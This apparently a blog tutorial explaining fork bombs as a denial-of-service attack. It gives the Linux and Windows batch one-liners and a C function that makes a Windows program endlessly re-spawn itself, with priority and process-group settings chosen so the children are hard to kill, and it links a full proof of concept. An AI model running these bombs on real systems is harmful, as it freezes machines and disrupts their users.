fork() bombing windows
chain reactions?
Introduction
Denial of Service or DoS is a type of attack where the aim is to cause disruption in a service/system. On websites, it can be done by overwhelming the web server. On networks, it can be done by flooding the network with large number of packets. On roads, it’s being done by jobless “Just Stop Oil” protestors.
On operating system level, it can be done via exhausting the resources of a target machine. This can lead to a significant slowdown or even a complete system freeze, making it difficult for legitimate processes to run.
There are many ways to approach/achieve this, one of which is execution of a self-replicating process, that keeps spawning itself in recursion, until all the system resources are exhausted and no more new processes can be spawned. This is the basic principle behind the attack called fork-bombing
.
fork()
is a system call in Unix and Unix-like operating systems that is used for process creation. When a program calls fork()
, the operating system creates a new process that is a copy of the calling (parent) process. The new process is called the child process, and it starts execution from the same point in the program as the parent process.
The typical fork bomb does not use this system call, but it imitates the behavior a fork()
call shows. Usually, fork bombs are one-line shell scripts (for Unix, Unix-like) and batch script (for Windows)
(fork)-Bombing in Linux
In Linux, fork bombing is usually achieved with executing the following command:
:(){ :|: & };:
Breaking it down, this command is defining a function :()
. The body of the function is a recursive call to the function itself, being piped to the function again. The &
backgrounds the resulting process. ;
marks the end of function definition, and :
is used to invoke the bomb.
(fork)-Bombing in Windows
In Windows, fork bombing is usually achieved with executing a batch file with the following content:
%0|%0
Here, the batch file is trying to call itself and then pipe it to itself using %0
, which is used to retrieve command used to run current program.
Just funny silly windows features ™️
While I was wondering and looking around, I learned an interesting fact about Windows operating system. fork()
system call doesn’t exist on Windows! (I guess it should’ve been obvious from the definitions I found on internet, but maybe we sometimes do overlook certain things.)
Now, placing a fixed string in a batch file or executing one liners is all fun and easy to DoS an operating system.
But how about, executing an executable, that mimics that same behavior?! This is easily doable in Unix and Unix-like systems. Just spam fork()
in a never ending while loop. But what about Windows??
Well… why don’t we create our own fork()
?!
forking Windows!
To mimic a fork()
function, we need to think, what is it doing and what do we want to achieve from it???
We want to spawn the process itself, infinitely. The actual fork()
spawns a child process of itself and continues the execution from point of spawn. We really don’t need that latter.
Proceeding to programming, we can define the fork()
function as following:
void fork() {
STARTUPINFO processStartupInfo = { sizeof(processStartupInfo) };
PROCESS_INFORMATION processInfo;
wchar_t currentAppName[1024];
GetModuleFileNameW(
NULL,
currentAppName,
100); // Calling GetModuleFileNameW() with NULL returns current process' executable path.
// The core of this function. Calling CreateProcess() with parent process' executable path.
CreateProcess(
currentAppName,
NULL,
NULL,
NULL,
FALSE,
ABOVE_NORMAL_PRIORITY_CLASS | CREATE_NEW_PROCESS_GROUP, /*
A neat enhancement, to spawn child
with ABOVE_NORMAL_PRIORITY_CLASS and
CREATE_NEW_PROCESS_GROUP.
The ABOVE_NORMAL_PRIORITY_CLASS sets
the priority of the spawning childer
higher than the normal processes, which
allows these processes not to be terminated
first in resource exhaustion scenarios.
CREATE_NEW_PROCESS_GROUP allows the child
process to have its own console, making it
independent and detached from the parent
process, which makes it almost impossible
to kill all the child processes being spawned
since killing a parent process will not
terminate its child.
*/
NULL,
NULL,
&processStartupInfo,
&processInfo);
}
Results? Absolute domination. A full working PoC is available at here.
Here’s a clip of what happens when the PoC is executed: